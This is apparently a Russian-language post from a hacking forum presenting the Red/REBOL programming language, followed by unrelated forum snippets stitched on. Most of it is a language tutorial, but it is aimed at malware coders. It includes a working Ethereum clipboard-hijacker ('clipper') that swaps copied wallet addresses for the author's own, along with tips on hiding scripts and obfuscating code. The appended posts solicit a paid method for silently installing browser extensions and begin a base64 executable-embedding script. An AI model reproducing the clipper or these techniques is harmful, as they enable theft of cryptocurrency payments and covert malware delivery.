очередную строчку кода, каждый раз ловишь себя на мысли и задаешь вопрос - что
это, лютая всратая упопротость или все же гениальность?
И именно про такой язык и пойдет сегодня речь.
Дамы и господа, встречайте, Red.
Краткая историческая справка - REBOL
А началось все в уже теперь далеком, 1997 году, когда Карл Сассенрат (широко известный в узких кругах дядя, основной разработчик AmigaOS, человек благодаря которому современные оси умеют в многозадачность) выпустил первую версию языка REBOL.
Идея была, как я уже говорил - упоротая, граничащая с гениальностью. Разработать язык программирования, подходящий для условий быстроразвивающегося веба и интернета. Сделать его высокоуровневым, простым, при этом с поддержкой распределенных вычислений и еще всякими разными новыми (на то время) фишками.
Из того, что бросается в глаза сразу - более 60 (шестидесяти, Карл!) встроенных типов данных. Среди них есть адреса электронной почты, URL, теги разметки, денежные единицы, даты, время и даже пары координат.
Концепция языка вызвала бы ажиотаж в наше время больших языковых моделей и бума ИИ - сделать программирование простым и максимально приближенным к естественному языку. Базовая единица - слово. Из знаков препинания - только пробел и три варианта скобок "() {} []". Графический интерфейс - свой, из коробки.
Что получилось - давайте посмотрим в этой небольшой серии one-liner'ов:
Напечатать исходный код веб страницы (28 символ):
print read http://google.com
Открыть окно (да, графическое окно), запросить в качестве инпута адрес сайта и
электронную почту и отправить содержимое сайта в письме (125 символов):
view layout [u: field "user@xss.is" h: field "http://" btn "Send" [send to- email u/text read to-url h/text alert "Sent"]]
Просканить открытые TCP порты (98 символов):
repeat n 100 [if not error? try [close open probe join tcp://localhost: n] [print [n "is open"]]]
Простенький куайн (93 символa):
RED[] do a: {view layout[t: field 500 rejoin["RED[] do a: {" a "}"] btn "do" [do do t/text]]}
Удалить все вхождения элемента из блока, строки или любой другой
последовательности (35 символов):
while [ find list item ] [ remove find list item ]
Редактор файлов по FTP (размером в безумные 53 байта):
view layout[f: field btn"Edit"[editor to-url f/text]]
И такого добра тут - навалом. Язык позволял просто и быстро реализовать и решить невероятное количество прикладных задач, не заставляя при этом пользователя погружаться в то, что находится вот там, под капотом.
Но, как заметил внимательный и вдумчивый читатель - про Ребол или хорошо, или
никак.
Язык был платным, с закрытыми исходными кодами и распространялся по лицензии
(да-да, прежде чем писать на языке - нужно было купить интерпретатор). И в тот
момент, когда развитие железа (переход на 64 битную архитектуру), веба,
смартфонов и всего остального дало резкий скачок - у компании просто не было
достаточных финансовых возможностей для конкурирования с опенсорс решениями.
Вся эта история со странным языком потихоньку загибается, и по итогу, Карл в
2012 году открыл исходные коды под лицензией Apache, чем и воспользовался наш
следующий герой.
На сцену выходит Red
В 2011 году на конференции по Rebol, французский программист с говорящим именем Ненад Ракоцевич представляет миру язык Red.
Концепция звучит невероятно круто и еще более безумно - язык полного стека. Ненад предложил создать язык, который одинаково хорошо подходит как для написания максимально близкого к системе кода (типа драйверов и прочего), так и для написания софта высокого уровня - дескотопных и веб приложений и скриптоты.
За основу был взят синтаксис Ребола (который напоминаю, интерпретируемый) и началась раскрутка компилятора.
Язык предполагалось сделать состоящим из двух частей
Red/System - тот самый низкоуровневый язык, похожий по задумке на С, но оернутый в синтаксис Ребола
Red - мета-язык высокого уровня, уже прямой наследник Ребола с возможностью как интерпретации, так и компиляции в исполняемый файл.
Вся эта движуха завертелась закрутилась, потом ребята хайпанули на волне крипты и ICO, довели язык до состояния "все еще альфа, но уже можно щупать" и продолжают тихо-мирно пилить его по сей день.
Для разгона и чистоты эксперимента, посмотрим на факториал:
Code:Copy to clipboard
fac: function [n][r: 1 repeat i n [r: r * i] r]
Отлично!
Маргинальнее некуда, поэтому давайте щупать))
Установка на разных платформах
Несмотря на всю упоротость и маргинальность, к установке вопросов нет. Даже наоборот, я мечтаю что однажды разработчики более популярных языков программирования посмотрят как можно и сделают наконец так, чтобы мне не нужно было гуглить "как установить язык X на платформу Y", а также выкачивать гигабайты тулчейна.
Один исполняемый файл. Вес варьируется, но в среднем это 1мб (мегабайт) для консольной версии и 2.5 метра для гуи.
Никакой установки - этот файл и компилятор, и интерпретатор. И репл тоже.
Из доступных платформ - Windows, Linux, MacOS, а также ранее были различные варианты BSD, Android, и вот недавно появились варианты для ARM под линух.
Сразу огромная ложка дегтя - только 32 бита. Переезд на 64 битную архитектуру запланирован, но тянется уже достаточно долго чтобы забить. также с линуксом есть некоторые танцы с бубном, нужно таки выполнить пару команд ручками и поставить нужные версии библиотек. Ну и на современных макосях не запустится, потому что поддержку х32 тут дропнули уже достаточно давно.
Но минус ли это в мире малваре кодинга, где до сих пор в ходу и большом почете 32 битные версии софта? Оставлю этот вопрос для дальнейшего размышления читателю.
И сразу же следом за ложкой дегтя вброшу ложку меда - есть кросс компиляция, причем без всяких "если". Из любой доступной платформы и архитектуры в любую другую доступную платформу и архитектуру. За это конечно же ставим жирный плюс.
Структура кода в Red
После того, как мы скачали однофайловый компилятор/интерпретатор и произвели все необходимые манипуляции - можно познакомиться с самим языком.
Для начала, напишем простенький хэллоуворлд (все таки дань традициям):
Code:Copy to clipboard
Red []
print "Hello World!"
Обратите внимание, что код всегда начинается с заголовка Red …
Все, что идет до этой фразы - игнорируется интерпретатором (ставим себе
заметочку, интересная фича для маскировки скриптов).
Окей, подправим немного наш пример, чтобы получилось приложение с графическим интерфейсом:
Code:Copy to clipboard
Red: [needs: 'view']
view [
text "Hello World!"
]
Тут можно сразу обратить внимание на то, как происходит импорт модулей и как в Red реализованы DSL (киллер фича языка, но об этом чуть позже).
Запустить все это чудо проще простого. Вот так мы интерпретируем, компилируем и соответственно кросс-компилируем. Обратите внимание, флаг -c служит для компиляции в режиме development - рядом с исполняемым файлом будет лежать всякий нужный мусор. Для настоящей продакшн сборки нужно указывать флаг -r.
Вес итогового хэллоуворлда ~ 1 мб. Связано это с тем, что для высокоуровневых фич файл тащит с собой libRed. Уж не знаю что там происходит под капотом и насколько честно называть такой подход компиляцией, но имеем то, что имеем. По заявлениям разработчиков, там присутствует «частичная компиляция», но так ли это на самом деле - я лично не чекал.
Вес можно ощутимо уменьшить, используя низкоуровневый Red/System, но тут сразу возникают вопросы - для чего? Если гнаться за весом и писать все на лоулевеле, то почему бы не взять более зрелый язык? А если хочется использовать фичи Red, то один фиг придется его тащить с собой, тогда для чего использовать низкоуровневый DSL? Сейчас единственное адекватное применение, которое я могу придумать - это некий аналог wasm, для ускорения каких-либо критичных мест (естественно, сферических и в вакууме).
Синтаксис и интересные концепции
Как читатель уже понял по примерам кода, Red - язык чуть более чем странный, поэтому синтаксису и взгляду на мир через эту парадигму я предлагаю уделить особое внимание и пройтись по языку с самых основ.
Базовая единица языка - слово (вспоминаем про natural language processing и глобальную великую идею). Слово может иметь разные типы и обозначать разные сущности. Программа на Ред - это последовательность слов.
Переменные в Ред задаются с помощью вот такого синтаксиса
Code:Copy to clipboard
>> x: 42
== 42
>> print x
42
Слова могут быть ассоциированы со значениями, а могут быть с целыми блоками кода (гомоиконность, добрый вечер):
Code:Copy to clipboard
>> a: [print "hello"]
== [print "hello"]
>> do a
hello
Неискушенный ум может подумать, что тут попахивает чем-то вроде функции eval, которая на сегодняшний день присутствует в каждом первом скриптовом языке и настоятельно не рекомендуется к применению везде, где только можно. Но есть тут очень важное отличие. Eval принимает в качестве аргумента строку. А здесь
Окей, если есть сеттер, значит где-то рядом должен быть и геттер. И он реализован на удивление логичным образом - двоеточие перед названием переменной:
Code:Copy to clipboard
>> x: 42
== 42
>> y: :x
== 42
>> print y
42
Тут также стоит заметить, что и сеттер, и геттер имеют собственный тип данных (set-word! и get-word! соответственно), а также что при попытке гетнуть какую- нибудь дефолтную функцию, например print - все корректно отработает:
Code:Copy to clipboard
>> imprimire: :print
== make native! [[
"Outputs a value followed by a newline"
...
>> imprimire "hello"
hello
Связано такое поведение с тем, что в языке Red нет ключевых слов - любую встроенную функцию можно переопределить, что дает нам возможность стрелять себе в ноги с двух рук.
Если нам нужна не переменная, а именно слово - используется символ одинарной кавычки.
Code:Copy to clipboard
>> print something
*** Script Error: something has no value
*** Where: print
*** Stack:
>> print 'something
something
То есть по факту, когда мы вызываем присваивание переменной через двоеточие, под капотом происходит следующее:
Code:Copy to clipboard
>> set 'test 33
== 33
Порядок выполнения
Как мы уже поняли, Ред работает с кодом как с набором слов. И перед тем, как мы продолжим погружение - я считаю очень важным остановиться на том, как Ред выполняет код.
Я опишу, как я вижу это с моей личной точки зрения. Опять же, это может оказаться неточным, но пока что это достаточно хорошо объясняет поведение Реда и позволяет не сломать себе голову на элементарных вещах.
После запуска Red начинает читать текст слева направо (→), выполняя все операции, которые он может найти. Если он распознает операцию, требующую аргументов, он выбирает аргументы из этого основного текста по мере необходимости, чтобы прийти к окончательному значению. Рассмотрим понятие оценочных групп и выборки аргументов. Red рассматривает текст (строки) как блок символов, поэтому основной текст кода Red - это просто большой блок для Red, даже без скобок и кавычек.
Выполнение кода триггерится командой "do" (как мы уже видели в примере выше). При запуске скрипта или нажатии клавиши Enter в консоли не всегда нужно набирать команду do, это означает, что вы применяете неявную команду do к следующему тексту. В случае скрипта оценка начинается только после того, как интерпретатор найдет символы "Red [".
Интересным следствием всего этого является то, что, хотя это и не считается хорошей практикой, вы можете действительно выполнять текст:
Code:Copy to clipboard
>> do "3 + 5"
== 8
>> 3 + 5
== 8
Окей, а как тогда получить результат?
Результатом интерпретации Red является результирующее значение последней
оцениваемой группы. Конечно, по пути можно делать всякие интересные вещи:
писать файлы, читать веб-страницы, создавать красивые рисунки на экране, но
значение, возвращаемое Red (если оно есть), - это последний результат.
Code:Copy to clipboard
>> do "3 + 5 7 * 8 print 69"
69
Мы поняли, что триггернуть выполнение кода можно с помощью слова "do". Но в какой момент выполнение (нитерпретация) кода останавливается? Что является триггером для этой ситуации? Конечно, конец текста (кода) и комментарии.
Но, кроме того, интерпретатор Red пропускает блоки внутри основного текста (блоки внутри основного блока), просто оставляет их как есть. Он выполняет их только в том случае, если они являются аргументом операции. При этом эта операция может быть другой операцией do:
Code:Copy to clipboard
>> do {print "hello" 7 + 9 [8 + 2]}
hello
== [8 + 2]
При написании кода на Ред, иногда, вам может понадобиться не только результирующее значение. А, например, все значения, которые получались в процессе выполнения. Этого можно достичь, используя "reduce". Обратите внимание на то, что это НЕ то же самое, что применить do к каждому блоку по отдельности:
Code:Copy to clipboard
>> reduce [3 + 5 7 * 8 "print 69"] ; do "print 69" should print 69!
== [8 56 "print 69"]
Порядок выполнения математических операций
Честно, я не думал, что мне понадобится это когда-либо кому-то объяснять (в том числе себе самому). Просто потому что порядок выполнения мат операций и их приоритет одинаковые плюс минус в 99% языков, и на моей памяти последний раз неприятно было только при работе с Фортом. В остальных случаях все как-то само собой, логично и нативно.
Но не здась. Следите за руками, я постараюсь объяснить как это работает максимально просто.
Все операции с инфиксными операторами, аргументы которых только значения (не функции) - выполняются первыми. Если эти инфиксные выражения имеют более двух операндов, то они вычисляются слева направо ( → ) без приоритета операций (т.е. умножение не вычисляется автоматически перед сложением).
Затем все выражение вычисляется справа налево (← ).
Пример:
Да, это очень непривычно и далеко от того, к чему мы все привыкли. Но в целом, правила достаточно простые и к ним быстро адаптируешься.
Типы данных
Как я уже упоминал ранее, одна из особенностей Ред - огромное количество встроенных типов данных. Я не буду останавливаться подробно на каждом из них, поскольку некоторые из них достаточно очевидные (а некоторые еще и весьма бесполезные), пройдусь лишь по основным повседневным типам данных, которые чем-то отличаются от привычных нам, а также по сериям.
none! - аналог null или undefined в других языках программирования. Не существующие данные.
logic! - аналог булей. Отличительная особенность - помимо стандартных true/false, Ред также распознает on/off и yes/no. По аналогии с другими языками, все, что не равно false/off/no считается истиной
string! - строка в Ред. Является серией и представляет собой последовательность символов, а значит - предоставляет нам стандартные возможности работы с последовательностями. Обозначается привычными двойными кавычками и, неожиданно, фигурными скобками (которые используются для мультилайн строк)
char! - тип символа, задается с помощью решетки и двойных кавычек. Представляет собой целое число от 00 до 10FFF (в хексе), соответствует юникод символам и поддерживает математические операции
Все остальное - плюс минус как у людей, за исключением совсем уж упоротых типов данных. Например, 11% - это тип данных "проценты".
Последовательности
Я думаю все уже привыкли к исключительной неоднозначности нашего сегодняшнего
подопытного, а также мы все держим в голове мысль о DSL.
Чтобы понять последовательности в Ред, нужно понять следующее:
Есть Блоки. Ред состоит из блоков. Все, что окружено квадратными скобками, считается блоком.
Есть Последовательности - это группы элементов. И они по сути являются основополагающим типом в Ред. Даже программы, написанные на Ред сами по себе - это последовательности. Элементами последовательности может быть что угодно из лексики Ред - данные, слова, функции, объекты или другие последовательности.
Как я уже говорил ранее, строки - это последовательности символов в Ред, поэтому к ним применимо все то, о чем мы будем сейчас говорить. Как и большинство более-менее сложных сущностей в Ред.
Для примера, начнем с массивов - известной многим структуры данных из других языков программирования. В Ред массив, естественно, является последовательностью. А многомерный массив, соответственно - последовательность из других последовательностей:
Code:Copy to clipboard
>> a: [[1 2][3 4][5 6]]
== [[1 2] [3 4] [5 6]]
Чтобы получить элемент массива, используется весьма неочевидный символ - слэш:
Code:Copy to clipboard
>> a/1
== [1 2]
>> a/1/1
== 1
>> a/3/2
== 6
Использовать переменную в качестве ключа можно с помощью уже известного нам геттера:
Code:Copy to clipboard
>> a: ["me" "you" "us" "them" "nobody"]
== ["me" "you" "us" "them" "nobody"]
>> b: 4
== 4
>> a/:b
== "them"
Навигация по последовательностям
Да-да, строго говоря, массив - не совсем массив. Последовательности представляют собой не что иное, как односвязный список с некоторыми особенностями реализации:
Первый элемент последовательности - head
В конце каждой последовательности есть tail - у него нет значения
У каждой последовательности есть сущность, под названием "стартовая точка". Наиболее человеческое объяснение - это место, где начинается значимая часть последовательности. Это очень важно, потому что многие операции с последовательностями опираются на эту, хм, "стартовую точку".
У каждого элемента есть индекс, и начинается он с единицы (не с нуля)
Важные функции:
head - передвигает стартовую точку в начало последовательности
tail - передвигает стартовую точку в конец последовательности, прям в самый конец, после последнего элемента
next - двигает стартовую точку на один шаг вперед
Важно - ни одна из этих функций не изменяет оригинальную последовательность, поэтому не получится использовать next несколько раз для итерации - делать это нужно через присваивание (s: next s).
Также важно - в оригинальных доксах сущность под названием "стартовая точка" именуется "index", но чтобы избежать путаницы - мы не будем ее так называть. В дальнейшем я буду также использовать термин "указатель", подразумевая стартовую точку. А индекс - это индекс массива.
Небольшой пример для наглядности и понимания, как это работает:
Code:Copy to clipboard
>> s: [ "cat" "dog" "fox" "cow" "fly" "ant" "bee" ]
== ["cat" "dog" "fox" "cow" "fly" "ant" "bee"]
>> s: next s
== ["dog" "fox" "cow" "fly" "ant" "bee"]
>> print s
dog fox cow fly ant bee
>> head? s
== false
>> print first s
dog
>> index? s
== 2
Обратите внимание на то, что хоть функция first и возвращает теперь значение
"dog", index? возвращает 2 (абсолютное значение).
Ну вы поняли, есть список, а есть "стрелочка-указатель", которую мы можем
двигать взад-вперед и от нее зависят результаты вызовов функций.
Еще немного про навигацию.
back - как next, только двигает указатель на один назад
skip - двигает указатель на N шагов вперед. Если число больше, чем длина
последовательности - остается указывать на tail.
Геттеры последовательностей
Тут у нас тоже достаточно интересный зоопарк, но поверьте, все это постепенно сложится в одну общую картину, когда мы дойдем до DSL, и наконец-то осознаем почему все так странно называется и еще более странно работает (не топлю за то, что это хорошо, просто констатирую факт - картина сложится).
pick - берет элемент из последовательности с заданным индексом и возвращает его
at - возвращает последовательность, начиная с заданного индекса
select и find - оба ищут заданный элемент в последовательности. Разница в том, что select возвращает следующий за найденным элемент, а find - последовательность, начиная с искомого элемента
extract - возвращает новую последовательность из элементов с заданным шагом. По простому - вернет каждый второй или каждый третий элемент
Сеттеры последовательностей
Честно, чем глубже мы погружаемся, тем более стойким становится ощущение, что некоторые названия функций авторы меняли просто потому что "мы хотим, чтобы это называлось по-другому".
clear - очищает последовательность
poke - заменяет элемент по заданному индексу на указанный
append - очевидно, добавляет элемент в конец
insert - как append, только добавляет значения не в конец, а в текущую точку указателя
replace - находит и заменяет заданный элемент
remove - удаляет первый элемент последовательности
И еще много-много-много других вариаций вставок, удалений, замен, перемещений, телепортаций и других жонглирований данными.
Глобально - конечно здорово, всегда лучше когда какой-то функционал есть, чем когда его нет. Но блин, почему бы не вынести совсем уж экзотичные функции (типа выборки каждого третьего элемента) в отдельную библиотеку? Назвать ее "жонглируем данными вдоль и поперек" и пусть ее используют те, кому это надо. Такая бибилотека есть в каждом первом языке, но для чего все это напихивать в stdlib? Тайна сия велика
Типы последовательностей
Окей, плюс минус разобрались с этим кавардаком с последовательностями. Давайте наконец посмотрим, какие типы данных у нас имеются для боевых задач из коробки и приблизимся к написанию чего-то живого.
Hash!
На этом моменте вдумчивый читатель мог подумать, что это наверное хэш-таблица, словарь. Но не тут то было.
Это хэш. Специальный список, который "хэширует значения для ускорения поиска".
Ну допустим, допустим. На деле знакомый некоторым из нас проперти лист:
Code:Copy to clipboard
>> a: make hash! [a 33 b 44 c 52]
== make hash! [a 33 b 44 c 52]
>> select a [c]
== 52
Vector!
Тут без долгих объяснений - оптимизированная последовательность только для чисел. Из особенностей - можно умножить вектор на число
Code:Copy to clipboard
>> a: make vector! [33 44 52]
== make vector! [33 44 52]
>> print a
33 44 52
>> print a * 8
264 352 416
map!
А вот это как раз наш словарь:
Code:Copy to clipboard
>> a: make map! ["mini" 33 "winny" 44 "mo" 55]
== #(
"mini" 33
"winny" 44
"mo" 55
...
>> print a
"mini" 33
"winny" 44
"mo" 55
>> print select a "winny"
44
Обратите внимание, что map - НЕ последовательность, соответственно все абракадабры с указателем, в которых мы так долго разбирались, тут не работают. Как и не работают большинство функций для последовательностей. Настолько, что не осилили даже сделать генерик сеттеры и геттеры - поэтому для получения и записи элементов используются отдельные слова select и put.
Если вам еще не настолько смешно, как мне, то вот вам аналог функции append специально для словарей - extend:
Code:Copy to clipboard
>> extend a ["more" 23 "even more" 77]
>> probe a
#(
"mini" 33
"winny" 44
"mo" 55
"more" 23
"even more" 77
)
На этом пожалуй закончим с великими и ужасными типами данных языка Red и перейдем к управлению выполнением, а именно - циклам и условным операторам
Флоу
Вариантов условных операторов нам, как и всего остального - завезли с запасом (и все они одинаково упоротые).
И на этом моменте я напоминаю вдумчивым читателям, что если вы думаете, что уж if-else то точно в Red работают как везде, то имейте в виду - мы имеем дело с чешско-французской магией высокого уровня, и ее логика недоступна смертным:
if - выполняет блок кода, если условие истинно. Если условие ложно - ничего не выполняет, и никто из нас его не заставит
unless - то же самое, что if not. Ну мало ли, вы по религиозным соображениям не можете написать if not или у вас клавиши какие-то заедают
either - аналог if-else. Даже блин не спрашивайте.
switch - тут слава богу все как у всех, обычный классический свитч
case - это как свитч, только мы проверяем услоия и выполняем блок для того, которое истинно. У здоровых людей это называется match
catch-throw - нет, не обработка исключений. Просто еще одна конструкция для ветвления, если предыдущих пяти вам мало
Code:Copy to clipboard
>> if 10 > 4 [print "large"]
large
>> unless 4 > 10 [print "large"]
large
>> either 10 > 4 [print "bigger"] [print "smaller"]
bigger
>> switch 20 [
... 10 [print "ten"]
... 20 [print "twenty"]
... 30 [print "thirty"]
...]
twenty
>> case [
... 10 > 20 [print "not ok!"]
... 20 > 10 [print "this is it!"]
... 30 > 10 [print "also ok!"]
...]
this is it!
>> a: 10
>> print catch [
... if a < 10 [throw "too small"]
... if a = 10 [throw "just right"]
... if a > 10 [throw "too big"]
...]
just right
Также просто не могу не поделиться с дорогими читателями информацией о функциях all и any. Обе принимают в качестве аргументов блок из выражений и работают вот так:
all - если хоть одно значение ложно, возвращает none. Иначе, возвращает результат последнего выражения
any - возвращает первое не равное false выражение. Если такого нет, возвращает none
Циклы
Боже, как я радовался одному единственному циклу в V.
Поехали:
loop - аналог for, выполняет блок заданное количество раз
repeat - то же самое, что loop, только с индексом
forall - выполняет блок при этом двигаясь по последовательности. Не обманывайтесь названием, это даже не близко не map и не foreach - просто посмотрите пример и попробуйте осознать
foreach - это уже ближе к правде, выполняет блок для каждого элемента последовательности
while - ну прям белая ворона, просто обычный while
until - выполняет блок до тех пор, пока блок не вернет true
forever - бесконечный цикл, для тех кто вышел из лесу и не знает о существовании while true
Code:Copy to clipboard
>> loop 3 [print "hello!"]
...
>> repeat i 3 [print i]
...
>> a: ["china" "japan" "korea" "usa"]
>> forall a [print a]
...
>> foreach i a [print i]
...
>> i: 1
...while [i < 5] [
...print i
... i: i + 1
...]
>> i: 4
>> until [
... print i
... i: i - 1
... i < 0 ; <= condition
...]
Повторюсь, лучше конечно когда есть, чем когда нет, но смысл все так же ускользает и просачивается как песок сквозь пальцы
Пара слов про функции и объекты
Функции тут создаются с помощью двух ключевых слов - func и function.
Разница между ними в том, что все переменные, объявленные внутри func - глобальные. То есть работает это вот так:
Code:Copy to clipboard
Red []
mysum: func [a b] [
mynumber: a + b
print mynumber
]
mynumber: 20
mysum 3 4 ; 7
print mynumber ; 7
mysum: function [a b] [
mynumber: a + b
print mynumber
]
mynumber: 20
mysum 3 4 ; 7
print mynumber ; 20
А function в свою очередь уже создает локальные переменные, что конечно ближе и привычнее многим из нас.
Из прикольных особенностей, которые мне действительно понравились - механика уточнений. Мы уже встречали ее несколько раз в коде, и в целом Red этим изобилует.
Прикол в том, что мы можем задавать уточнения для функций (по сути - флаги, булевы значения) с помощью специального синтаксиса и потом вызывать функцию с этими флагами через слэш.
И визуально, и на практике - скажу честно, это действительно удобно. Отлично подходит для случаев, в которых обычно мы бы использовали опциональные аргументы и значения по умолчанию и позволяет
Судите сами:
Code:Copy to clipboard
>> round 2.3
== 2.0
>> round/to 6.8343278 0.1
== 6.8
>> round/down 3.9876
== 3.0
Объекты в Red представляют собой достаточно базовую реализацию принципов ООП. Можно создавать поля и методы, есть наследование в зачаточном состоянии и удобный доступ к полям/методам через слэш.
Естественно, ни о каких паблик/прайват полях, множественном наследовании и модели акторов можно даже не говорить. Объекты, потому что в языке программирования должны быть объекты. Ну такое.
DSL
И вот, мы наконец-то подобрались к самому интересному. К тому, зачем вообще стоило смотреть на этот странный, необычный и местами даже несуразный язык.
Вдумчивый и осведомленный читатель наверняка знает (или уже прогуглил, так как я употреблял эту аббревиатуру у же несколько раз), что такое DSL.
DSL (Domain Specific Language) переводится как "предметно-ориентированный язык".
Простыми словами - вот есть языки общего назначения, типа Python, C, и того же Red. Они полные по Тьюрингу и на них можно реализовать любую программу, прям вообще что угодно. Но к сожалению, это не всегда просто и удобно.
А есть предметно-ориентированные языки - они чаще всего не полные по Тьюрингу, и не подходят для широкого спектра задач. Но есть одна задача, под которую они заточены (или правильнее будет сказать - класс задач). И вот эту самую единственную задачу язык щелкает как орешки.
Если вам кажется, что вы никогда не сталкивались с такими языками, то вот пара примеров:
Язык гипертекстовой разметки, он же HTML. Я думаю ни у кого не возникает желания описывать структуру веб страниц как-то иначе, потому что html простой и удобный.
JSON, Yaml, Toml - туда же. На них не напишешь малварь, но они отлично подходят для структурного описания данных и используются повсеместно
SQL - тоже представляет собой предметно-ориентированный язык, и также применяется ежедневно по всему миру
Я думаю с этим все понятно, DSL - это такие мини-языки для конкретной задачи. Едем дальше.
Существует парадигма программирования под названием Языково-ориентированное программирование (сокращенно ЯОП). Суть идеи очень проста. Есть задача. Мы придумываем язык, с использованием которого эту задачу решить легко и просто. Затем мы реализуем такой язык на каком-то языке общего назначения. И наконец решаем нашу исходную задачу легко и просто с помощью нашего нового инструмента.
Ультражирный и не всегда очевидный плюс такого подхода - возможность разделить такой подход на две стадии:
Разработка языка Х
Решение задачи с использованием языка Х
И прикол в том, что если для пункта один нужен толковый разраб, то пункт два при достаточно мощном языке может реализовать даже обычный пользователь. То есть планка входа в DSL может быть реально очень низкой, а это и экономия времени, и экономия на оплате труда. Наглядный пример - Microsoft Excel, которым пользуется огромное количество рядовых пользователей и комфортно работают с формулами, не являясь при этом программистами.
А теперь давайте вернемся к нашему языку Red.
По задумке авторов, он как раз таки был запланирован как язык для удобного
создания DSL (которые здесь называются диалектами). Из уже разработанных и
имеющихся из коробки:
system - язык для низкоуровневого программирования
view - язык для создания GUI
draw - язык для рисования разного
parse - язык для парсинга и работы с текстом
Давайте пройдемся по примерам и посмотрим, как это работает.
Небольшая программа с использованием диалекта parse для валидации адресов электронных почт:
Code:Copy to clipboard
Red []
digit: charset "0123456789"
letters: charset [#"a" - #"z" #"A" - #"Z"]
special: charset "-"
chars: union union letters special digit
word: [some chars]
host: [word]
domain: [word some [dot word]]
email: [host "@" domain]
print parse "john@doe.com" email
print parse "n00b@lost.island.org" email
print parse "h4x0r-l33t@domain.net" email
Изящно, не правда ли?
Как может заметить вдумчивый читатель, это безумно похоже на расширенную форму
Бэкуса - Наура, которая используется повсеместно для формального определения
синтаксиса. А значит и писать диалекты на языке Red будет очень просто.
Чуть более сложный пример - валидатор математических выражений, с использованием рекурсивных правил:
Code:Copy to clipboard
Red []
expr: [term ["+" | "-"] expr | term]
term: [factor ["*" | "/"] term | factor]
factor: [primary "**" factor | primary]
primary: [some digit | "(" expr ")"]
digit: charset "0123456789"
print parse "1+2*(3-2)/4" expr ; will return true
print parse "1-(3/)+2" expr ; will return false
Также как на языке Red будет очень удобно морфить и обфусцировать код, потому что можно легко и просто разобрать программу на блоки, изменить и собрать обратно.
Важно - я не говорю, что нужно морфить код, написанный на Red. Я говорю, что код, написанный на любом языке программирования будет очень удобно морфить с помощью программы, написанной на Red. Намного удобнее, чем на шаблонах, правда-правда.
PoC Mini Brainfuck Interpreter + PoC Clipper
Окей, разобрались с приколами синтаксиса, посмотрели как тут что устроено, давайте теперь покодим что-нибудь боевое.
Наверняка вдумчивый читатель уже понял, что Red - не совсем обычный язык и для многих задач он реально плохо подходит. Но для задач работы с данными, их парсинга, анализа и модификации - он подходит как надо.
И начнем мы пожалуй с клиппера.
Задача: сканировать буфер обмена и при обнаружении в нем текста, который содержит адрес кошелька Ethereum - заменять этот адрес на наш.
Code:Copy to clipboard
Red []
my-address: "YOUR_ETH_ADDRESS_HERE"
digits: charset "0123456789"
letters: charset [#"a" - #"f" #"A" - #"F"]
chars: union digits letters
eth-address: ["0x" 40 chars]
data: read-clipboard
parse data [to eth-address change eth-address my-address]
write-clipboard data
В начале мы последовательно определяем нашу сущность "адрес эфира".
Затем читаем буфер обмена (функция из коробки, кстати). Ищем во всем что там
находится нужный нам адрес и заменяем на свой. И пишем обратно.
Осталось лишь обернуть в бесконечный цикл и базовый клиппер готов.
То есть замена произойдет не только для соло-адреса, но и для адреса внутри какого-то сообщения или куска текста.
Обратите внимание - программа в представленном выше стиле будет проще и понятнее для разработчика с ростом кодовой базы, чем те же регулярки.
То есть, если мы захотим добавить еще клиппинг биткоина плюс заменять адреса не на абум, а на похожие из нашей базы - код очень легко будет модифицировать и он останется чистым и простым для понимания и поддержки.
Второй концепт, который я хотел бы показать - использование Red в качестве фабрики новых языыков и виртуальной машины. Не просто так я выше заметил, что описание синтаксиса для DSL очень похоже на BNF. Это очень широко используемая нотация, а значит если читатель захочет реализовать, допустим, интерпретатор Си или асма - формальное описание языка в формате BNF будет достаточно легко найти и адаптировать под синтаксис Ред.
Как пример - небольшой интерпретатор еще одного маргинального языка Brainfuck:
Code:Copy to clipboard
Red []
bf: function [prog [string!]][
size: 30000
cells: make string! size
append/dup cells null size
one-back: [pos: (pos: back pos) :pos]
jump-back: [
one-back
any [
one-back
["]" jump-back "[" | "[" resume: break | skip]
one-back
]
]
cmd: complement charset "[]"
nested: [any cmd | "[" nested "]"]
brainfuck: [
some [
">" (cells: next cells)
| "<" (cells: back cells)
| "+" (cells/1: cells/1 + 1)
| "-" (cells/1: cells/1 - 1)
| "." (prin cells/1)
| "," (cells/1: first input "")
| "[" [if (cells/1 = null) nested "]" | none]
| "]" [pos: if (cells/1 <> null) jump-back :resume | none]
| skip
]
]
parse prog brainfuck
]
; Print Hello World! in brainfuck
bf {
++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++.>+.+++++++..+++.
>++.<<+++++++++++++++.>.+++.------.--------.>+.>.
}
Здесь мы используем все то же самое. Единственное существенно отличие в том, что мы сразу же интерпретируем встречающиеся символы (а могли бы морфить, обфусцировать, ну вы поняли намек).
Вместо заключения
Сегодня у нас в гостях был очень странный язык программирования Red.
Я специально скипнул момент обсуждения минусов языка, потому что и так видно -
их выше крыши.
Язык все еще в альфе. Язык безнадежно морально устарел. Только 32 бита, нет многопоточности, нет пакетного менеджера. Да половины того что я ежедневно использую нет, зато есть нескучные дизайнерские решения.
Но суть не в этом и сказать я хотел совсем не это. Red - по сути фреймворк для создания DSL. И именно на эту фишку я хотел обратить внимание. С помощью Ред действительно просто создавать, тестировать и внедрять новые языки. С помощью Ред вы можете пощупать ЯОП подход и начать работать в этом стиле. Можете создать свой личный идеальный язык, подходящий именно под ваши задачи. А потом фиг с ним, с Редом - можно написать интерпретатор на чем-то вменяемом.
Концепции, которые зародились изначально в Rebol, а затем перекочевали в Red - могут очень сильно упростить жизнь малваре кодерам, да и всем остальным разработчикам тоже, поскольку показывают нам привычные задачи с совершенно новой стороны. И напоминают, что язык - это в первую очередь инструмент. И если существующие инструменты не подходят под вашу задачу, это повод задуматься - возможно, пора создать свой?
Патрик.
Специально для XSS
Есть кто только начинает, изучать кодинг под Android? Пару человек в напарники. Пишите в лс.
Интересует такая схема - пользователь заходит на сайт, жмет там определенную кнопку и ему в браузер устанавливается расширение, без вопросов о согласии на установку и каких либо предупреждений как это заведено у BeEF.
Если кто знает как подобное реализовать, можем обсудить цену.
Several times there is a need to "carry" an executable inside out code.
There several methods to do this.
One of them is to transform the binary code into a base64 encoding.
I provide this action in the following PowerShell script, and for the
competence, I also presents the way to get the base64 string and put it in
back in a file in a binary format
Code:Copy to clipboard
# From EXE To Base64
$EXE_Path = "c:\windows\system32\cmd.exe";
$Base64_Code = [System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes($EXE_Path));
# now $Base64_Code is something like this: "...AMAAAAEAAA...";
# From Base64 to EXE
$EXE_Path2 = "c:\mypath\MyCmd.exe";
